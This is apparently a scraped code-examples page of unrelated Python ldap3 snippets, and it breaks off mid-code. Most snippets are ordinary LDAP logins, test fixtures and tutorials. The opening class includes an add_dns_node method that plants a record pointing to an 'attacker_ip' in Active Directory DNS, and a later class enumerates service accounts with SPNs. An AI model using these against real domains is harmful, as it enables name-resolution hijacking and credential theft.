        self._server = server
        self._port = port
        self._ssl = ssl
        self._kerberos = kerberos
        self._ntuser = ntuser
        self._ntpass = ntpass
        self._delay = 1
        self._page_records = None
        self._query_delay = 1
        self._timeout = None
        self._base = ''

    def get_dn(self, domain):
        dn = ''
        for part in domain.split('.'):
            dn += 'DC=' + part + ','

        return dn[:-1]

    def connect(self):
        """ 
            LDAP connection method.

            Connects to an AD LDAP server via NTLM or KERBEROS authentication.
            This method supports the use of a plaintext password as well as 
            NTLM hashes.
            HASH = LMHASH:NTHASH

            Returns
            -------
            bool
                Returns the state of the connection.
        """
        logging.info('[*] Creating an LDAP connection.')
        s = Server(self._server,
                   port=self._port,
                   use_ssl=self._ssl,
                   connect_timeout=self._timeout,
                   get_info=ALL)

        if self._kerberos:
            # Use Kerberos
            logging.info('[*] Using KERBEROS authentication.')
            try:
                self._conn = Connection(s,
                                        auto_bind=AUTO_BIND_NONE,
                                        authentication=SASL,
                                        sasl_mechanism=KERBEROS,
                                        read_only=False,
                                        return_empty_attributes=True)
                bind_result = self._conn.bind()
            except Exception as e:
                msg = e.message.encode('ascii', 'ignore')
                if msg.lower(
                ).find('no kerberos credentials available (default cache: file:/tmp/'
                       ) != -1:
                    logging.error('[-] Kerberos binding error.')
                    logging.debug(
                        '[D] You need a valid kerberos TGT ticket or an LDAP TGS ticket for accessing the remote service.'
                    )
                    logging.debug(
                        '[D] Save the kerberos ticket ccache DB into /tmp/krb5cc_<uid> and try again.'
                    )
                elif msg.lower().find('ticket expired') != -1:
                    logging.error('[-] Kerberos binding error.')
                    logging.debug(
                        '[D] The provided Ticket has expired. Please provide a valid one and try again.'
                    )
                else:
                    logging.error('[-] Unexpected binding error.')
                    logging.debug('[D] Observe the following traceback:')
                    logging.debug(traceback.format_exc())
                return False
        else:
            # Use NTLM authentication
            logging.info('[*] Using NTLM authentication.')
            try:
                self._conn = Connection(s,
                                        auto_bind=AUTO_BIND_NONE,
                                        authentication=NTLM,
                                        user=self._ntuser,
                                        password=self._ntpass,
                                        read_only=False)
                bind_result = self._conn.bind()
            except:
                logging.error('[-] Unexpected binding error.')
                logging.debug('[D] Observe the following traceback:')
                logging.debug(traceback.format_exc())
                return False

        # Takes the root naming context
        if bind_result:
            self._base = json.loads(
                s.info.to_json())['raw']['rootDomainNamingContext'][0]
            logging.debug('[D] Binding base: %s' % self._base)
        else:
            logging.debug('[D] An error ocurred during the binding process.')
            logging.debug('[D] Ldap API Message: %s' %
                          self._conn.result['description'])
            return False

        return True

    def generic_search(self, base, s_filter, attributes):
        """
            Performs a generic LDAP search.

            Returns
                list[] : A JSON formatted list of objected.
        """
        if base is None:
            base = self._base
        if attributes is None:
            attributes = ALL_ATTRIBUTES
        json_list = []
        cookie = None
        while cookie == None or cookie != '':
            try:
                logging.debug('[D] Searching on base: %s' % base)
                logging.debug('[D] Searching with filter: %s' % s_filter)
                logging.debug('[D] Searching the attributes: %s' % attributes)
                self._conn.search(search_base=base,
                                  search_filter=s_filter,
                                  search_scope=SUBTREE,
                                  attributes=attributes,
                                  paged_size=self._page_records,
                                  paged_cookie=cookie)
            except ldap3.core.exceptions.LDAPInvalidFilterError as e:
                logging.error('[-] Search error: invalid LDAP query filter')
                logging.debug('[D] %s' % e.message)
                logging.debug('[D] Filter: %s' % s_filter)
                break
            except Exception:
                logging.error('[-] Unexpected search error.')
                logging.debug('[D] Observe the following traceback:')
                logging.debug(traceback.format_exc())
                break

            try:
                cookie = self._conn.result['controls'][
                    '1.2.840.113556.1.4.319']['value']['cookie']
            except:
                cookie = ''
            # Waits for n seconds before querying again
            time.sleep(self._query_delay)
            for entry in self._conn.entries:
                # Adds the new records to the list of json objects
                json_list.append(json.loads(entry.entry_to_json()))

        return json_list

    def get_dns_node_info(self, domain, name):
        """
            Gets DNS nodes.
        
            Returns
                list[]
                    A JSON formatted list of dnsNode class LDAP objects with ceretain attributes.
        """
        # It uses the full dn (including the name) because it requires to identify those nodes for
        # which the authenticated user does NOT have privileges and their attributes cannot be obtained
        domain_dn = self.get_dn(domain)
        node_dn = 'DC=' + name + ',DC=' + domain + ',CN=MicrosoftDNS,DC=DomainDnsZones,' + domain_dn
        search_filter = '(objectClass=*)'
        dns_nodes = self.generic_search(node_dn, search_filter,
                                        LdapManager.dns_node_attrs[1:])

        dns_record_list = []
        if len(dns_nodes) != 0:
            if dns_nodes[0]['attributes']['name'] == []:
                logging.debug(
                    '[D] Looks like you don\'t have permissions to read the node\'s attributes...'
                )
            else:
                dns_records = dns_nodes[0]['attributes']['dnsRecord']
                for dns_record in dns_records:
                    dns_record = base64.b64decode(dns_record['encoded'])
                    pair = []
                    pair.append(DNSRecord.getTypeFromDNSRecord(dns_record))
                    pair.append(DNSRecord.getDataFromDNSRecord(dns_record))
                    dns_record_list.append(pair)

        return dns_record_list

    def delete_dns_node(self, domain, name):
        """
            Removes a DNS node.
        
            Returns
                Result of operation
                    Status
        """
        domain_dn = self.get_dn(domain)
        node_dn = 'DC=' + name + ',DC=' + domain + ',CN=MicrosoftDNS,DC=DomainDnsZones,' + domain_dn

        try:
            logging.debug('[D] About to remove DNS node at dn: %s' % node_dn)
            self._conn.delete(node_dn)
            logging.debug('[D] LDAP Result: ' +
                          self._conn.result['description'])
        except Exception:
            logging.error('[-] Unexpected search error.')
            logging.debug('[D] Observe the following traceback:')
            logging.debug(traceback.format_exc())
            return False

        if self._conn.result['description'] == 'noSuchObject':
            print '|[*] The specified object does not exist.'
            return False
        else:
            print '[*] The object was successfully removed.'
            return True

    def add_dns_node(self, domain, dns_server, name, attacker_ip):
        """
            Adds a DNS node.
        
            Returns
                Boolean
                    Status
        """
        domain_dn = self.get_dn(domain)
        node_dn = 'DC=' + name + ',DC=' + domain + ',CN=MicrosoftDNS,DC=DomainDnsZones,' + domain_dn
        objectClass = ['top', 'dnsNode']
        dnsRecord = DNSRecord(attacker_ip, dns_server, domain)

        attributes = {
            'dNSTombstoned': True,
            'dnsRecord': dnsRecord.getRecord()
        }
        try:
            logging.debug('[D] About to add DNS node at dn: %s' % node_dn)
            self._conn.add(node_dn, objectClass, attributes)
            logging.debug('[D] LDAP Result: ' +
                          self._conn.result['description'])
        except Exception:
            logging.error('[-] Unexpected search error.')
            logging.debug('[D] Observe the following traceback:')
            logging.debug(traceback.format_exc())
            return False

        if self._conn.result['description'] == 'noSuchObject':
            print '[*] The specified object does not exist.'
            return False
        else:
            print '[*] The object was successfully added.'
            return True
예제 #36
0
from ldap3 import Server, Connection, ALL
from peewee import *
from api.everything import *

cfg = load_config('api/config.yaml')
# skt = load_config('api/secret_config.yaml')

theStaticDB = SqliteDatabase(cfg['databases']['static'])
theStaticDB.drop_table(LDAPFaculty)

server = Server('berea.edu', port=389, use_ssl=False, get_info='ALL')
# conn   = Connection (server, user=skt['ldap']['user'], password=skt['ldap']['pass'])
conn = Connection(server, user="******", password="******")
if not conn.bind():
    print('error in bind', conn.result)

# search_base and search_filter are the parameters
conn.search('dc=berea,dc=edu',
            '(description=Faculty)',
            attributes=['samaccountname', 'givenname', 'sn', 'employeeid'])

print("Found {0} faculty.".format(len(conn.entries)))

# print (conn.entries[0])


def safe(d, k):
    result = ""
    try:
        if k in d:
            print("Result: ", d[k])
예제 #37
0
def login():
	form = LoginForm()
	if form.username.data is not None:
		log("Begin login attempt for user %s" % (form.username.data))

	_ldapConf = return_data_for_root_key('ldap')
	_localAdm = return_data_for_root_key('users')

	tryLocalAdmin = False
	if 'admin' in _localAdm:
		tryLocalAdmin = _localAdm['admin']['enabled']
		log_Debug("Local admin enabled: {}".format(tryLocalAdmin))

	if form.validate_on_submit():
		user = AdmUsers.query.filter(AdmUsers.user_id == form.username.data).first()
		if tryLocalAdmin:
			_lUser = _localAdm['admin']['name']
			_lPass = _localAdm['admin']['pass']
			if form.username.data == _lUser:
				if _lPass == form.password.data:
					if user is None:
						user = AdmUsers()
						user.user_id = form.username.data
						user.user_pass = "******"
						db.session.add(user)
						db.session.commit()

						makeUserAdmin(user.user_id, 0)

					login_user(user)
					session['user'] = form.username.data
					recordLoginAndAssignIfNeeded(user.user_id, 0)
					setLoginSessionInfo(user.user_id)

					log("Local admin login sucessful for user %s" % (form.username.data))
					return redirect(url_for('dashboard.index', username=user.user_id))

		if user is not None and user.check_password(form.password.data):

			if accountIsEnabled(user.user_id):
				login_user(user)
				session['user'] = form.username.data
				recordLoginAndAssignIfNeeded(user.user_id, 1)
				setLoginSessionInfo(user.user_id)

				log("Console user login sucessful for user %s" % (form.username.data))
				return redirect(url_for('dashboard.index', username=user.user_id))
			else:
				log("User %s account is not enabled." % (form.username.data))

		else:
			if _ldapConf['enabled']:
				log_Debug("Ldap is enabled.")
				userID = ''
				if 'loginUsrPrefix' in _ldapConf:
					if _ldapConf['loginUsrPrefix'] != 'LOGIN-PREFIX':
						userID = userID + _ldapConf['loginUsrPrefix']

				userID = userID + form.username.data

				if 'loginUsrSufix' in _ldapConf:
					if _ldapConf['loginUsrSufix'] != 'LOGIN-SUFFIX':
						userID = userID + _ldapConf['loginUsrSufix']

				server = None
				if 'server' in _ldapConf and 'port' in _ldapConf and 'useSSL' in _ldapConf:
					_use_ssl = True
					if _ldapConf['useSSL'] is False:
						log_Warn('SSL is not enabled for LDAP queries, this is not recommended.')
						_use_ssl = False

					server = Server(host=_ldapConf['server'], port=int(_ldapConf['port']), use_ssl=_use_ssl)

				conn = Connection(server, user=userID, password=form.password.data)

				if conn.bind():
					_sFilter = "(&(objectClass=*)("+_ldapConf['loginAttr']+"="+userID+"))"
					#search_filter='(&(objectClass=*)(userPrincipalName=userID))'
					conn.search(search_base=_ldapConf['searchbase'], search_filter=_sFilter,
								search_scope=SUBTREE, attributes=ALL_ATTRIBUTES, get_operational_attributes=True)

					if accountExists(form.username.data):
						_usrActIsEnabled = False
						_usrInLdapGroup = usersExistsInLDAPGroups(conn, form.username.data)

						if _usrInLdapGroup:
							_usrActIsEnabled = accountIsEnabled(form.username.data)
						else:
							log_Error("Account %s is not in LDAP group.1")

						if _usrActIsEnabled:
							if user is None:
								user = addUser(form.username.data)

							session['user'] = form.username.data
							login_user(user)
							recordLoginAndAssignIfNeeded(user.user_id, 2)
							setLoginSessionInfo(user.user_id)

							log("LDAP login sucessful for user %s" % (form.username.data))
							return redirect(url_for('dashboard.index', username=user.user_id))
						else:
							log_Error("Account %s exists but is disabled.")

					else:
						if usersExistsInLDAPGroups(conn, form.username.data):
							user = addUser(form.username.data)

							session['user'] = form.username.data
							login_user(user)
							recordLoginAndAssignIfNeeded(user.user_id, 2)
							setLoginSessionInfo(user.user_id)

							log("LDAP login sucessful for user %s" % (form.username.data))
							return redirect(url_for('dashboard.index', username=user.user_id))

		flash('Incorrect username or password.')
		log_Error("Failed login attempt for user %s" % (form.username.data))

	return render_template("login.html", form=form)
예제 #38
0
def get_connection(bind=None,
                   use_ssl=None,
                   check_names=None,
                   lazy_connection=None,
                   authentication=None,
                   sasl_mechanism=None,
                   sasl_credentials=None,
                   ntlm_credentials=(None, None),
                   get_info=None,
                   usage=None,
                   fast_decoder=None,
                   simple_credentials=(None, None),
                   receive_timeout=None,
                   auto_escape=None,
                   auto_encode=None):

    if bind is None:
        bind = True
    if check_names is None:
        check_names = test_check_names
    if lazy_connection is None:
        lazy_connection = test_lazy_connection
    if authentication is None:
        authentication = test_authentication
    if get_info is None:
        get_info = test_get_info
    if usage is None:
        usage = test_usage
    if fast_decoder is None:
        fast_decoder = test_fast_decoder
    if receive_timeout is None:
        receive_timeout = test_receive_timeout
    if auto_escape is None:
        auto_escape = test_auto_escape
    if auto_encode is None:
        auto_encode = test_auto_encode

    if test_server_type == 'AD' and use_ssl is None:
        use_ssl = True  # Active directory forbids Add operations in cleartext

    if test_strategy not in [MOCK_SYNC, MOCK_ASYNC]:
        # define real server
        if isinstance(test_server, (list, tuple)):
            server = ServerPool(pool_strategy=test_pooling_strategy,
                                active=test_pooling_active,
                                exhaust=test_pooling_exhaust)
            for host in test_server:
                server.add(Server(host=host,
                                  use_ssl=use_ssl,
                                  port=test_port_ssl if use_ssl else test_port,
                                  allowed_referral_hosts=('*', True),
                                  get_info=get_info,
                                  mode=test_server_mode))
        else:
            server = Server(host=test_server,
                            use_ssl=use_ssl,
                            port=test_port_ssl if use_ssl else test_port,
                            allowed_referral_hosts=('*', True),
                            get_info=get_info,
                            mode=test_server_mode)
    else:
        if test_server_type == 'EDIR':
            schema = SchemaInfo.from_json(edir_8_8_8_schema)
            info = DsaInfo.from_json(edir_8_8_8_dsa_info, schema)
            server = Server.from_definition('MockSyncServer', info, schema)
        elif test_server_type == 'AD':
            schema = SchemaInfo.from_json(ad_2012_r2_schema)
            info = DsaInfo.from_json(ad_2012_r2_dsa_info, schema)
            server = Server.from_definition('MockSyncServer', info, schema)
        elif test_server_type == 'SLAPD':
            schema = SchemaInfo.from_json(slapd_2_4_schema)
            info = DsaInfo.from_json(slapd_2_4_dsa_info, schema)
            server = Server.from_definition('MockSyncServer', info, schema)

    if authentication == SASL:
        connection = Connection(server,
                                auto_bind=bind,
                                version=3,
                                client_strategy=test_strategy,
                                authentication=SASL,
                                sasl_mechanism=sasl_mechanism,
                                sasl_credentials=sasl_credentials,
                                lazy=lazy_connection,
                                pool_name='pool1',
                                pool_size=test_pool_size,
                                check_names=check_names,
                                collect_usage=usage,
                                fast_decoder=fast_decoder,
                                receive_timeout=receive_timeout,
                                auto_escape=auto_escape,
                                auto_encode=auto_encode)
    elif authentication == NTLM:
        connection = Connection(server,
                                auto_bind=bind,
                                version=3,
                                client_strategy=test_strategy,
                                user=ntlm_credentials[0],
                                password=ntlm_credentials[1],
                                authentication=NTLM,
                                lazy=lazy_connection,
                                pool_name='pool1',
                                pool_size=test_pool_size,
                                check_names=check_names,
                                collect_usage=usage,
                                fast_decoder=fast_decoder,
                                receive_timeout=receive_timeout,
                                auto_escape=auto_escape,
                                auto_encode=auto_encode)
    elif authentication == ANONYMOUS:
        connection = Connection(server,
                                auto_bind=bind,
                                version=3,
                                client_strategy=test_strategy,
                                user=None,
                                password=None,
                                authentication=ANONYMOUS,
                                lazy=lazy_connection,
                                pool_name='pool1',
                                pool_size=test_pool_size,
                                check_names=check_names,
                                collect_usage=usage,
                                fast_decoder=fast_decoder,
                                receive_timeout=receive_timeout,
                                auto_escape=auto_escape,
                                auto_encode=auto_encode)
    else:
        connection = Connection(server,
                                auto_bind=bind,
                                version=3,
                                client_strategy=test_strategy,
                                user=simple_credentials[0] or test_user,
                                password=simple_credentials[1] or test_password,
                                authentication=authentication,
                                lazy=lazy_connection,
                                pool_name='pool1',
                                pool_size=test_pool_size,
                                check_names=check_names,
                                collect_usage=usage,
                                fast_decoder=fast_decoder,
                                receive_timeout=receive_timeout,
                                auto_escape=auto_escape,
                                auto_encode=auto_encode)

    if test_strategy in [MOCK_SYNC, MOCK_ASYNC]:
        # create authentication identities for testing mock strategies
        connection.strategy.add_entry(test_user, {'objectClass': 'inetOrgPerson', 'userPassword': test_password})
        connection.strategy.add_entry(test_secondary_user, {'objectClass': 'inetOrgPerson', 'userPassword': test_secondary_password})
        connection.strategy.add_entry(test_sasl_user_dn, {'objectClass': 'inetOrgPerson', 'userPassword': test_sasl_password})
        connection.strategy.add_entry(test_sasl_secondary_user_dn, {'objectClass': 'inetOrgPerson', 'userPassword': test_sasl_secondary_password})
        # connection.strategy.add_entry(test_ntlm_user, {'objectClass': 'inetOrgPerson', 'userPassword': test_ntlm_password})
        if bind:
            connection.bind()

    if 'TRAVIS,' in location and test_server_type == 'SLAPD' and not connection.closed:  # try to create the contexts for fixtures
        result1 = connection.add(test_base, 'organizationalUnit')
        result2 = connection.add(test_moved, 'organizationalUnit')

        if not connection.strategy.sync:
            connection.get_response(result1)
            connection.get_response(result2)

    return connection
예제 #39
0
from ldap3 import Server, Connection, ObjectDef, AttrDef, Reader, Writer, ALL, MODIFY_ADD, MODIFY_REPLACE, MODIFY_DELETE, OFFLINE_SLAPD_2_4, MOCK_SYNC
server = Server('my_fake_server', get_info=OFFLINE_SLAPD_2_4)
conn = Connection(server,
                  'uid=admin,cn=users,cn=accounts,dc=demo1,dc=freeipa,dc=org',
                  'Secret123',
                  client_strategy=MOCK_SYNC)
conn.strategy.add_entry(
    'uid=admin,cn=users,cn=accounts,dc=demo1,dc=freeipa,dc=org', {
        'userPassword': '******',
        'sn': 'admin_sn',
        'revision': 0
    })
print(conn.bind())
print(1, conn.last_error)
print(conn.result)
conn.add('ou=ldap3-tutorial,dc=demo1,dc=freeipa,dc=org', 'organizationalUnit')
print(1, conn.last_error)
conn.add(
    'cn=b.young,ou=ldap3-tutorial,dc=demo1,dc=freeipa,dc=org', 'inetOrgPerson',
    {
        'givenName': 'Beatrix',
        'sn': 'Young',
        'departmentNumber': 'DEV',
        'telephoneNumber': 1111
    })
print(2, conn.last_error)
conn.modify_dn('cn=b.young,ou=ldap3-tutorial,dc=demo1,dc=freeipa,dc=org',
               'cn=b.smith')
print(3, conn.last_error)
conn.add('ou=moved, ou=ldap3-tutorial,dc=demo1,dc=freeipa,dc=org',
         'organizationalUnit')
예제 #40
0
def establish_session():
    server = Server('directory.utexas.edu')
    conn = Connection(server)
    conn.bind()
    return conn
예제 #41
0
class MSLDAP:
	def __init__(self, login_credential, target_server, ldap_query_page_size = 1000):
		self.login_credential = login_credential
		self.target_server = target_server

		self.ldap_query_page_size = ldap_query_page_size #default for MSAD
		self._tree = self.target_server.tree
		self._ldapinfo = None
		self._srv = None
		self._con = None

	def get_server_info(self, anonymous = True):
		"""
		Performs bind on the server and grabs the DSA info object.
		If anonymous is set to true, then it will perform anonymous bind, not using user credentials
		Otherwise it will use the credentials set in the object constructor.
		"""
		if anonymous == True:
			logging.debug('Getting server info via Anonymous BIND on server %s' % self.target_server.get_host())
			server = Server(self.target_server.get_host(), use_ssl=self.target_server.is_ssl(), get_info=ALL)
			conn = Connection(server, auto_bind=True)
			logging.debug('Got server info')
		else:
			logging.debug('Getting server info via credentials supplied on server %s' % self.target_server.get_host())
			server = Server(self.target_server.get_host(), use_ssl=self.target_server.is_ssl(), get_info=ALL)
			conn = Connection(self._srv, user=self.login_credential.get_msuser(), password=self.login_credential.get_password(), authentication=self.login_credential.get_authmethod())
			logging.debug('Performing BIND to server %s' % self.target_server.get_host())
			if not self._con.bind():
				if 'description' in self._con.result:
					raise Exception('Failed to bind to server! Reason: %s' % conn.result['description'])
				raise Exception('Failed to bind to server! Reason: %s' % conn.result)
			logging.debug('Connected to server!')
		return server.info
		

	def connect(self, anonymous = False):
		logging.debug('Connecting to server %s' % self.target_server.get_host())
		if anonymous == False:
			self._srv = Server(self.target_server.get_host(), use_ssl=self.target_server.is_ssl(), get_info=ALL)
			self._con = Connection(self._srv, user=self.login_credential.get_msuser(), password=self.login_credential.get_password(), authentication=self.login_credential.get_authmethod())
			logging.debug('Performing BIND to server %s' % self.target_server.get_host())
			if not self._con.bind():
				if 'description' in self._con.result:
					raise Exception('Failed to bind to server! Reason: %s' % self._con.result['description'])
				raise Exception('Failed to bind to server! Reason: %s' % self._con.result)
			logging.debug('Connected to server!')
		else:
			self._srv = Server(self.target_server.get_host(), use_ssl=self.target_server.is_ssl(), get_info=ALL)
			self._con = Connection(self._srv)
			logging.debug('Performing ANONYMOUS BIND to server %s' % self.target_server.get_host())
			if not self._con.bind():
				if 'description' in self._con.result:
					raise Exception('Failed to bind to server! Reason: %s' % self._con.result['description'])
				raise Exception('Failed to bind to server! Reason: %s' % self._con.result)
			logging.debug('Connected to server!')

		if not self._tree:
			logging.debug('Search tree base not defined, selecting root tree')
			info = self.get_server_info()
			self._tree = info.other['rootDomainNamingContext'][0]
			logging.debug('Selected tree: %s' % self._tree)

	def pagedsearch(self, ldap_filter, attributes):
		"""
		Performs a paged search on the AD, using the filter and attributes as a normal query does.
		Needs to connect to the server first!
		ldap_filter: str : LDAP query filter
		attributes: list : Attributes list to recieve in the result
		"""
		logging.debug('Paged search, filter: %s attributes: %s' % (ldap_filter, ','.join(attributes)))
		ctr = 0
		entries = self._con.extend.standard.paged_search(self._tree, ldap_filter, attributes = attributes, paged_size = self.ldap_query_page_size)
		for entry in entries:
			if 'raw_attributes' in entry and 'attributes' in entry:
				# TODO: return ldapuser object
				ctr += 1
				if ctr % self.ldap_query_page_size == 0:
					logging.info('New page requested. Result count: %d' % ctr)
				yield entry



	def get_all_user_objects(self):
		"""
		Fetches all user objects from the AD, and returns MSADUser object
		"""
		logging.debug('Polling AD for all user objects')
		ldap_filter = r'(objectClass=user)'

		attributes = MSADUser.ATTRS
		for entry in self.pagedsearch(ldap_filter, attributes):
			# TODO: return ldapuser object
			yield MSADUser.from_ldap(entry, self._ldapinfo)
		logging.debug('Finished polling for entries!')

	def get_user(self, sAMAccountName):
		"""
		Fetches one user object from the AD, based on the sAMAccountName attribute (read: username) 
		"""
		logging.debug('Polling AD for user %s'% sAMAccountName)
		ldap_filter = r'(&(objectClass=user)(sAMAccountName=%s)' % sAMAccountName
		attributes = MSADUser.ATTRS
		for entry in self.pagedsearch(ldap_filter, attributes):
			# TODO: return ldapuser object
			yield MSADUser.from_ldap(entry, self._ldapinfo)
		logging.debug('Finished polling for entries!')

	def get_ad_info(self):
		"""
		Polls for basic AD information (needed for determine password usage characteristics!)
		"""
		logging.debug('Polling AD for basic info')
		ldap_filter = r'(distinguishedName=%s)' % self._tree
		attributes = MSADInfo.ATTRS
		for entry in self.pagedsearch(ldap_filter, attributes):
			self._ldapinfo = MSADInfo.from_ldap(entry)
			return self._ldapinfo

		logging.debug('Poll finished!')

	def get_all_service_user_objects(self, include_machine = False):
		"""
		Fetches all service user objects from the AD, and returns MSADUser object.
		Service user refers to an user whith SPN (servicePrincipalName) attribute set
		"""
		logging.debug('Polling AD for all user objects, machine accounts included: %s'% include_machine)
		if include_machine == True:
			ldap_filter = r'(servicePrincipalName=*)'
		else:
			ldap_filter = r'(&(servicePrincipalName=*)(!(sAMAccountName = *$)))'

		attributes = MSADUser.ATTRS
		for entry in self.pagedsearch(ldap_filter, attributes):
			# TODO: return ldapuser object
			yield MSADUser.from_ldap(entry, self._ldapinfo)
		logging.debug('Finished polling for entries!')
예제 #42
0
    def authenticate(username=None, password=None):
        if username is None or username == '':
            return None

        # search capacities differs on LDAP engines.
        ldap_engine = 'AD'  # to keep compatibility with previous version
        if hasattr(settings, 'LDAP_ENGINE') and settings.LDAP_ENGINE is not None:
            ldap_engine = settings.LDAP_ENGINE

        user_dn, user_attribs = LDAP3ADBackend.init_and_get_ldap_user(username)
        if user_dn is not None and user_attribs is not None:
            # now, we know the dn of the user, we try a simple bind. This way,
            # the LDAP checks the password with it's algorithm and the active state of the user in one test
            con = Connection(LDAP3ADBackend.pool, user=user_dn, password=password)
            if con.bind():
                logger.info("AUDIT SUCCESS LOGIN FOR: %s AT %s" % (username, datetime.now()))
                user_model = get_user_model()

                """
                We add special attributes only during the authentication process to store user DN & Business Unit
                Those attributes are saved in the current session by the user_logged_in_handler
                """
                user_model.dn = lambda: None
                user_model.bu = lambda: None
                try:
                    # try to retrieve user from database and update it
                    username_field = getattr(settings, 'LDAP_USER_MODEL_USERNAME_FIELD', 'username') 
                    lookup_username = user_attribs[settings.LDAP_ATTRIBUTES_MAP[username_field]]
                    usr = user_model.objects.get(**{"{0}__iexact".format(username_field): lookup_username})
                except user_model.DoesNotExist:
                    # user does not exist in database already, create it
                    usr = user_model()

                # update existing or new user with LDAP data
                LDAP3ADBackend.update_user(usr, user_attribs)
                usr.set_password(password)
                usr.save()

                # if we want to use LDAP group membership:
                if LDAP3ADBackend.use_groups:

                    # if using AD filter groups in result by using groups in the config
                    if ldap_engine == 'AD':
                        # inspired from
                        # https://github.com/Lucterios2/django_auth_ldap3_ad/commit/ce24d4687f85ed12a0c4c796022ae7dcb3ff38e3
                        # by jobec
                        all_ldap_groups = []
                        for group in settings.LDAP_SUPERUSER_GROUPS + settings.LDAP_STAFF_GROUPS + list(
                                settings.LDAP_GROUPS_MAP.values()):
                            all_ldap_groups.append("(distinguishedName={0})".format(group))

                        if len(all_ldap_groups) > 0:
                            settings.LDAP_GROUPS_SEARCH_FILTER = "(&{0}(|{1}))".format(
                                settings.LDAP_GROUPS_SEARCH_FILTER,
                                "".join(all_ldap_groups))
                            # end
                    # if using OpenLDAP, filter groups in search by membership of the user
                    elif ldap_engine == 'OpenLDAP':
                        # add filter on member
                        settings.LDAP_GROUPS_SEARCH_FILTER = "(&%s(member=%s))" % (settings.LDAP_GROUPS_SEARCH_FILTER,
                                                                                   user_dn)
                        # add filter on groups to match
                        all_ldap_groups = []
                        for group in settings.LDAP_SUPERUSER_GROUPS + settings.LDAP_STAFF_GROUPS + list(
                                settings.LDAP_GROUPS_MAP.values()):
                            if "(%s)" % group.split(',')[0] not in all_ldap_groups:
                                all_ldap_groups.append("(%s)" % group.split(',')[0])

                        if len(all_ldap_groups) > 0:
                            settings.LDAP_GROUPS_SEARCH_FILTER = "(&{0}(|{1}))".format(
                                settings.LDAP_GROUPS_SEARCH_FILTER,
                                "".join(all_ldap_groups))

                    logger.info("AUDIT LOGIN FOR: %s AT %s USING LDAP GROUPS" % (username, datetime.now()))
                    # check for groups membership
                    # first cleanup
                    alter_superuser_membership = False
                    if hasattr(settings, 'LDAP_SUPERUSER_GROUPS') and isinstance(settings.LDAP_SUPERUSER_GROUPS, list) \
                            and len(settings.LDAP_SUPERUSER_GROUPS) > 0:
                        usr.is_superuser = False
                        alter_superuser_membership = True

                    alter_staff_membership = False
                    if hasattr(settings, 'LDAP_STAFF_GROUPS') and isinstance(settings.LDAP_STAFF_GROUPS, list) \
                            and len(settings.LDAP_STAFF_GROUPS) > 0:
                        usr.is_staff = False
                        alter_staff_membership = True

                    usr.save()
                    logger.info("AUDIT LOGIN FOR: %s AT %s CLEANING OLD GROUP MEMBERSHIP" % (username, datetime.now()))
                    if hasattr(settings, 'LDAP_IGNORED_LOCAL_GROUPS'):
                        grps = Group.objects.exclude(name__in=settings.LDAP_IGNORED_LOCAL_GROUPS)
                    else:
                        grps = Group.objects.all()
                    for grp in grps:
                        grp.user_set.remove(usr)
                        grp.save()

                    # then re-fill
                    con.search(settings.LDAP_GROUPS_SEARCH_BASE if hasattr(settings, 'LDAP_GROUPS_SEARCH_BASE')
                               else settings.LDAP_SEARCH_BASE,
                               settings.LDAP_GROUPS_SEARCH_FILTER,
                               attributes=['cn', settings.LDAP_GROUP_MEMBER_ATTRIBUTE])
                    if len(con.response) > 0:
                        for resp in con.response:
                            if 'attributes' in resp and settings.LDAP_GROUP_MEMBER_ATTRIBUTE in resp['attributes'] \
                                    and user_dn in resp['attributes'][settings.LDAP_GROUP_MEMBER_ATTRIBUTE]:

                                logger.info("AUDIT LOGIN FOR: %s AT %s DETECTED IN GROUP %s" %
                                            (username, datetime.now(), resp['dn']))
                                # special super user group
                                if alter_superuser_membership:
                                    if resp['dn'] in settings.LDAP_SUPERUSER_GROUPS:
                                        usr.is_superuser = True
                                        logger.info("AUDIT LOGIN FOR: %s AT %s GRANTING ADMIN RIGHTS" %
                                                    (username, datetime.now()))
                                    else:
                                        logger.info("AUDIT LOGIN FOR: %s AT %s DENY ADMIN RIGHTS" %
                                                    (username, datetime.now()))
                                # special staff group
                                if alter_staff_membership:
                                    if resp['dn'] in settings.LDAP_STAFF_GROUPS:
                                        usr.is_staff = True
                                        logger.info("AUDIT LOGIN FOR: %s AT %s GRANTING STAFF RIGHTS" %
                                                    (username, datetime.now()))
                                    else:
                                        logger.info("AUDIT LOGIN FOR: %s AT %s DENY STAFF RIGHTS" %
                                                    (username, datetime.now()))
                                # other groups membership
                                for grp in settings.LDAP_GROUPS_MAP.keys():
                                    if resp['dn'] == settings.LDAP_GROUPS_MAP[grp]:
                                        try:
                                            logger.info(grp)
                                            usr.groups.add(Group.objects.get(name=grp))
                                            logger.info("AUDIT LOGIN FOR: %s AT %s ADDING GROUP %s MEMBERSHIP" %
                                                        (username, datetime.now(), grp))
                                        except ObjectDoesNotExist:
                                            pass
                    usr.save()

                con.unbind()

                # if set, apply min group membership
                logger.info("AUDIT LOGIN FOR: %s AT %s BEFORE MIN GROUP MEMBERSHIP" %
                            (username, datetime.now()))
                if hasattr(settings, 'LDAP_MIN_GROUPS'):
                    for grp in settings.LDAP_MIN_GROUPS:
                        logger.info("AUDIT LOGIN FOR: %s AT %s MIN GROUP MEMBERSHIP: %s" %
                                    (username, datetime.now(), grp))
                        try:
                            usr.groups.add(Group.objects.get(name=grp))
                            logger.info("AUDIT LOGIN FOR: %s AT %s ADDING GROUP %s MIN MEMBERSHIP" %
                                        (username, datetime.now(), grp))
                        except ObjectDoesNotExist:
                            pass

                # if you want to be able to get full user DN from session, store it
                if hasattr(settings, 'LDAP_STORE_USER_DN') \
                        and isinstance(settings.LDAP_USE_LDAP_GROUPS, bool) \
                        and settings.LDAP_USE_LDAP_GROUPS:
                    usr.dn = user_dn

                # if you want to know in which business unit the user is, check it
                if hasattr(settings, 'LDAP_STORE_BUSINESS_UNIT') \
                        and isinstance(settings.LDAP_STORE_BUSINESS_UNIT, dict):
                    user_bu = ','.join(user_dn.split(',')[1:])

                    if user_bu in settings.LDAP_STORE_BUSINESS_UNIT:
                        usr.bu = settings.LDAP_STORE_BUSINESS_UNIT[user_bu]

                return usr
        return None
예제 #43
0
from ldap3 import Server, Connection, SUBTREE, ALL, ALL_ATTRIBUTES, \
    ALL_OPERATIONAL_ATTRIBUTES

total_entries = 0
total_ou = 0

s = Server('172.30.1.197', port=636, use_ssl=True, get_info=ALL)

admin_username = raw_input('Enter Admin Username....')
admin_password = raw_input('Enter Admin Password....')

#admin_username = '******'
#admin_password = '******'

c = Connection(s, user=admin_username, password=admin_password)
c.bind()
c.start_tls()

if not c.bind():
